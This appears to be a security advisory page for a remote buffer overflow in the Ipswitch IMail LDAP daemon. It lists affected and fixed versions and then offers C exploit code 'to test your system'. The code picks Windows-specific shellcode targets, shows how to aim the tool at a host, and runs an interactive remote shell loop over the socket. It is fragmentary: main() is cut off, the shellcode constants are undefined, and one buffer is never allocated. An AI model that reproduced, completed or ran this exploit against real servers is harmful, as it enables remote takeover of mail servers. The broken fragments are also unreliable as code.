As we reported in our previous article: Ipswitch IMail LDAP Daemon Remote Buffer Overflow, a vulnerability in Ipswitch's IMail allows remote attackers to overflow an internal buffer causing it to execute arbitrary code. The following improved exploit code can be used to test your system for the mentioned vulnerability (the improved exploit code also works on IMail version 6.x and 7.x).
Vulnerable Systems:
* LDAP daemon (iLDAP.exe ver. 3.9.15.10) shipping with IMail Server version 8.03
* LDAP daemon shipping with IMail Server version 7.xx and 6.xx
Immune Systems:
* IMail Server version 8.05 Hotfix 2
int main(int argc, char *argv[])
{
unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER;
unsigned char *finalbuffer,*crapbuf1,*crapbuf2;
unsigned int IMAIL6_7=60;
unsigned int IMAIL_8=68;
os = (unsigned short)atoi(argv[2]);
switch(os)
{
case 0:
strcat(finalbuffer,WIN2KPG);
break;
case 1:
strcat(finalbuffer,WIN2KPG);
break;
case 2:
strcat(finalbuffer,WINXPSP1G);
break;
default:
printf("\nYou entered an illegal OS !\n\n");
usage();
exit(-1);
}
void usage()
{
unsigned int a;
printf("\nUsage: <Host> <OS> <Imail Version>\n");
printf("Sample: THCimail 194.44.55.56 0 1\n\n");
printf("OS:\n");
printf("0 - Windows 2000 Server english all service packs\n");
printf("1 - Windows 2000 Professional german\n");
printf("2 - Windows XP SP1 german\n\n");
printf("Imail Version:\n");
printf("0 - Imail 6+7\n");
printf("1 - Imail 8\n");
exit(0);
}
void shell(int sock)
{
int l;
char buf[1024];
struct timeval time;
unsigned long ul[2];
time.tv_sec = 1;
time.tv_usec = 0;
while (1)
{
ul[0] = 1;
ul[1] = sock;
l = select (0, (fd_set *)&ul, NULL, NULL, &time);
if(l == 1)
{
l = recv (sock, buf, sizeof (buf), 0);
if (l <= 0)
{
printf ("bye bye...\n");
return;
}
l = write (1, buf, l);
if (l <= 0)
{
printf ("bye bye...\n");
return;
}
}
else
{
l = read (0, buf, sizeof (buf));
if (l <= 0)
{
printf("bye bye...\n");
return;
}
l = send(sock, buf, l, 0);
if (l <= 0)
{
printf("bye bye...\n");
return;
}
}
}
}
